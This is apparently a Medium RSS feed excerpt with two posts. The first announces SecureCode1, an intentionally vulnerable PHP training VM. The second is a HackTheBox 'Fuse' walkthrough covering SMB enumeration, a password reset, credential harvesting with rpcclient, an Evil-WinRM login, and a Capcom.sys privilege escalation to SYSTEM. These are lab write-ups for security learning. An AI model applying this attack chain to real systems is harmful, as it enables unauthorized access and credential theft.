            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kx9TwYyS0ZJhdh2iR35hIg.png" /></figure><h3>Source code review?</h3><p>Source code review, also known as Security Code Review is the process of auditing the source code for an application to verify that the proper security controls are present, that they work as intended, and that they have been invoked in all the right places. Code review is a way of ensuring that the application has been developed so as to be “self-defending” in its given environment.</p><p>This box has been built to enrich the training resources for the Offensive Security Web Expert (OSWE) certificate, it also helps you to learn how to discover hidden vulnerabilities that can be missed during the regular penetration test (or black-box testing).<br>- <strong>Box Name</strong>: SecureCode1<br>- <strong>Programing Language</strong>: Native PHP<br>- <strong>Difficulty</strong>: EASY<br>it’s not solvable by pure black-box testing, you need to do a lot of source code review.</p><p><strong>You’ve three objectives:<br></strong>1. Bypass Authentication → flag1<br>2. Obtain Remote Command Execution → flag2<br>3. Write your PoC code that chains the exploitation of the discovered vulnerabilities, you can also send your PoC code to <strong>ahmed [at] sud0root.com </strong>if you wish to be added to the leaderboard👇</p><p>🏆 <strong>leaderboard:</strong><br>A Contest leaderboard shows the points received by the participating players. Players need to meet the Contest rules criteria to participate and be shown in the Contest Leaderboard.</p><p><strong>The Target VM on Vulnhub.com:<br></strong><a href="https://www.vulnhub.com/entry/securecode-1,651/">https://www.vulnhub.com/entry/securecode-1,651/</a></p><p><strong>Alternatively, you can download the OVA from Mega.nz on link below: </strong>(Size: 2.0 GB)<strong><br></strong><a href="https://mega.nz/file/b4xAVRAQ#IK8ujpYsGbwxoyA4aaNERMF80EPLkPX3fv7hksXF-M8">https://mega.nz/file/b4xAVRAQ#IK8ujpYsGbwxoyA4aaNERMF80EPLkPX3fv7hksXF-M8</a></p><p>- MD5: 287f7979fdb3060bde224182a752ed18<br>- SHA1: 2b946f52d915ca74d1c7c84251435f8c8d92f2cb</p><p>- for setup see the below video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fk1BwLq2k60Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dk1BwLq2k60Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fk1BwLq2k60Y%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6c2eff5388a79a425d3b06840ac2bb13/href">https://medium.com/media/6c2eff5388a79a425d3b06840ac2bb13/href</a></iframe><p>it&#39;s going to be series of OSWE-like boxes.<br>The next boxes will be in java, nodejs, and some PHP frameworks.</p><p>if you have feedback or you need a hint, DM me @ahmed_eltijani</p><p>Best Luck</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69ec7d6c1986" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/securecode1-an-oswe-like-machine-69ec7d6c1986">SecureCode1: an OSWE-like Machine</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fuse Writeup — HackTheBox]]></title>
            <link>https://medium.com/sud0root/fuse-writeup-hackthebox-9088e3291025?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/9088e3291025</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[REBRON SECURITY]]></dc:creator>
            <pubDate>Sat, 31 Oct 2020 17:03:02 GMT</pubDate>
            <atom:updated>2020-10-31T17:03:02.632Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fuse Writeup — HackTheBox</h3><h3>Made by RebornSec ®</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*Dh9fKYJNFwd6-A8wfSV0mA.png" /></figure><p>Fuse is windows box made up by <a href="https://www.hackthebox.eu/home/users/profile/1190">egre55</a>, this box a good practice in the advanced enumeration on Windows machines. Without further do let’s start our work :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*uA5T7O4NbXHWvTjc9bM2oA.gif" /></figure><h3>Enumeration phase :</h3><p>As usual let’s start with the Nmap scan :</p><blockquote>[~] Nmap -sC -sV 10.10.10.193</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HxwbAd5_RvGMH1KODyThcQ.png" /></figure><p>Several ports are open let’s start with port 80 (http)and this will lead you to this page :</p><blockquote><a href="http://fuse.fabricorp.local/papercut/logs/html/index.htm">http://fuse.fabricorp.local/papercut/logs/html/index.htm</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*idvxeH1h-MaZjsnOGUSwcg.png" /></figure><p>We can’t reach our page, but we can add it into<strong> /etc/hosts</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEitzYYeMvhRaancWhhxjQ.png" /></figure><blockquote>http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020–05–30.csv</blockquote><blockquote><a href="http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020-05-29.csv">http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020-05-29.csv</a></blockquote><blockquote><a href="http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020-06-10.csv">http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020-06-10.csv</a></blockquote><p>I found a username, sharing group for a printer in the file, and we already got the domain name from our Nmap scan (<strong>fabricorp.local</strong>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHVavOdWqIBpIaMGksYLsQ.png" /></figure><p>Using Robin Wood tool to generate a wordlist using the page we got :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPshK0L7OpGlb7hEYngHTQ.png" /></figure><p>This the list i got :</p><blockquote>Print<br>PaperCut<br>LETTER<br>DUPLEX<br>GRAYSCALE<br>Logger<br>LONWK<br>papercut<br>Excel<br>Notepad<br>sthompson<br>About<br>print<br>Pages<br>Copies<br>Printer<br>…</blockquote><p>And wanted working group is <strong>fabricorp/bhult </strong>so let’s try smbclient using deferent combination of password but it seems that i can’t login :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqi_Fbfhim7aSZEqQmv5dg.png" /></figure><p>After a while of searching i found a sysadmin asking for the way to change smb password :</p><p><a href="https://www.developpez.net/forums/d202770/systemes/linux/reseau/smbpasswd/">Smbpasswd</a></p><p>Using the old password <strong>Fabricorp01</strong> that we got using metasploit :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwoqN9N8IPP9aXvQWEoTIA.png" /></figure><p>I can change the password now to my own :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRJ6u9DtOKRgjryQiHD8MQ.png" /></figure><p>Now lets use <strong>rpcclient </strong>to get information and maybe claim some credentials :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQYTw0kQ0ZHWR1kcxWtkBA.png" /></figure><p>And here we got our password in plain text : <strong>$fab@s3Rv1ce$1</strong></p><p>Let’s try to find out our user that we want to use our password on him :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*d1x-5Nypkkdl1_wFOMy3Mg.png" /></figure><p>We create a list of users and password, and we test it out with our tool Cme :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sq3fQgo4d3UmRiEKQItpiw.png" /></figure><p>Our final credential is :<strong> svc-print:$fab@s3Rv1ce$1</strong></p><p>We login using Evil-winrm :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3uwHTn5E1cR4IGgvCSbQg.png" /></figure><p>And here we got our user.txt :)</p><h3>Root phase :</h3><p>If we check the files stored in directory of our user we notice the <strong>Capcom.sys</strong> file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YQBz00kz03RJHjcVOkrKTQ.png" /></figure><p>Also checking <strong>whoami /all </strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZZZd5yq17nnVG_sqbaZzg.png" /></figure><p>For that we going to use :</p><p><a href="https://github.com/tandasat/ExploitCapcom">tandasat/ExploitCapcom</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pn_kw3mIeSieUVBS923nJw.png" /></figure><p>And since our user had <strong>SeLoadDriverPrivilege </strong>we use both to proc our shell :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PMUDkA_NWbpPIFmEh0-vDA.png" /></figure><p>And there you go you got full NT Authority :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*dkS9zkBDOVeFUnf_O6OFIQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9088e3291025" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/fuse-writeup-hackthebox-9088e3291025">Fuse Writeup — HackTheBox</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>